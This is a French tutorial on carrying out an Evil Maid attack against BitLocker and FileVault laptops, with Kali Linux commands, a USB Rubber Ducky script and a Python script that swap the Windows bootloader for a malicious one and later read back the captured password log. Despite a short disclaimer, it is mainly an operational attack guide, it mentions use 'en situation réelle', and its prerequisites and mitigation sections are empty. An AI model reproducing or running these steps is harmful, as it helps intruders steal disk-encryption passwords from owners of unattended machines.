⚠️ Avertissement

Ce tutoriel est fourni à des fins éducatives uniquement. L’accès non autorisé à un système informatique, même chiffré, est illégal et peut avoir des conséquences graves. Utilisez ces techniques uniquement dans un cadre contrôlé et avec l’autorisation explicite du propriétaire du matériel.

Attaque Evil Maid sur Systèmes Chiffrés (BitLocker, FileVault)

Objectif

Exploiter la vulnérabilité de sécurité physique des systèmes chiffrés avec BitLocker (Windows) ou FileVault (macOS) en utilisant une attaque de type Evil Maid, qui vise à modifier ou manipuler le système de démarrage pour intercepter les clés de chiffrement ou obtenir un accès non autorisé.

Prérequis

Tutoriel détaillé

1. Accès Physique à l’Ordinateur Cible

L’attaque Evil Maid nécessite un accès physique à l’ordinateur. L’objectif est de modifier le système de démarrage (ex. : fichier bootloader) sans que l’utilisateur ne s'en aperçoive. Le moment idéal est de le faire lorsque le système est hors de surveillance, par exemple dans une chambre d’hôtel ou un bureau.

2. Préparation de la Clé USB Bootable avec Kali Linux

3. Accéder au Système de Fichiers

Une fois dans Kali Linux, identifier la partition chiffrée et les fichiers critiques du système (ex. : fichier bootmgfw.efi pour Windows avec BitLocker ou boot.efi pour macOS avec FileVault) :

lsblk

Monter la partition de démarrage (qui n’est généralement pas chiffrée) :

mkdir /mnt/boot
mount /dev/sda1 /mnt/boot

4. Modification du Fichier de Démarrage (Injection d’un Script Malveillant)

Modifier le bootloader pour lancer un script malveillant avant le démarrage du système :

cp /mnt/boot/EFI/Microsoft/Boot/bootmgfw.efi /mnt/boot/EFI/Microsoft/Boot/bootmgfw_backup.efi

Remplacer ou modifier ce fichier avec un code injecté qui permet de capturer les frappes de clavier ou d’intercepter les clés BitLocker au démarrage.

5. Automatisation avec un USB Rubber Ducky (Optionnel)

Un USB Rubber Ducky peut être utilisé pour automatiser la manipulation du bootloader et injecter du code en quelques secondes. Le script Ducky pourrait ressembler à ceci :


DELAY 1000
REM Open terminal in Kali Linux
STRING ctrl+alt+t
DELAY 500
STRING mount /dev/sda1 /mnt/boot
ENTER
STRING cp /mnt/boot/EFI/Microsoft/Boot/bootmgfw.efi /mnt/boot/EFI/Microsoft/Boot/bootmgfw_backup.efi
ENTER
STRING cp /path/to/malicious_bootloader.efi /mnt/boot/EFI/Microsoft/Boot/bootmgfw.efi
ENTER
STRING reboot
ENTER
        

Ce script remplace automatiquement le fichier de démarrage par un fichier modifié qui peut capturer les frappes clavier et rediriger ces informations vers une partition cachée ou une clé USB.

6. Capturer les Informations au Démarrage

Au redémarrage de la machine, le bootloader modifié intercepte les informations de saisie (mot de passe BitLocker ou FileVault) et les stocke. Ensuite, il redémarre le système normalement sans laisser de traces visibles.

7. Récupération des Données Interceptées

Revenir plus tard pour accéder de nouveau au système via Kali Linux, monter la partition où les informations ont été stockées, et extraire les données capturées :

mount /dev/sda2 /mnt/encrypted
cat /mnt/encrypted/log.txt

Script Python pour Automatiser la Manipulation du Bootloader

Automatiser le processus d’injection et de récupération des données avec un script Python.


import os

def mount_partition(partition, mount_point):
    print(f"[*] Mounting {partition} on {mount_point}...")
    os.system(f"mkdir -p {mount_point}")
    os.system(f"mount {partition} {mount_point}")

def inject_malicious_bootloader(mount_point, backup_file, malicious_file):
    print("[*] Injecting malicious bootloader...")
    os.system(f"cp {mount_point}/EFI/Microsoft/Boot/bootmgfw.efi {backup_file}")
    os.system(f"cp {malicious_file} {mount_point}/EFI/Microsoft/Boot/bootmgfw.efi")

def retrieve_data(mount_point, data_file):
    print("[*] Retrieving captured data...")
    with open(f"{mount_point}/{data_file}", 'r') as f:
        data = f.read()
        print(f"Captured data: {data}")

if __name__ == "__main__":
    partition = "/dev/sda1"
    mount_point = "/mnt/boot"
    backup_file = f"{mount_point}/EFI/Microsoft/Boot/bootmgfw_backup.efi"
    malicious_file = "/path/to/malicious_bootloader.efi"
    data_file = "log.txt"

    mount_partition(partition, mount_point)
    inject_malicious_bootloader(mount_point, backup_file, malicious_file)
    retrieve_data("/mnt/encrypted", data_file)
        

8. Test en Environnement Contrôlé

Toujours tester cette attaque en laboratoire ou sur un environnement virtuel pour minimiser les risques et s’assurer de l’efficacité avant toute utilisation en situation réelle.

9. Mitigation des Evil Maid Attacks

Validation et Compatibilité

Tester cette technique sur différents systèmes (Windows avec BitLocker, macOS avec FileVault) pour garantir sa compatibilité et son efficacité dans divers scénarios.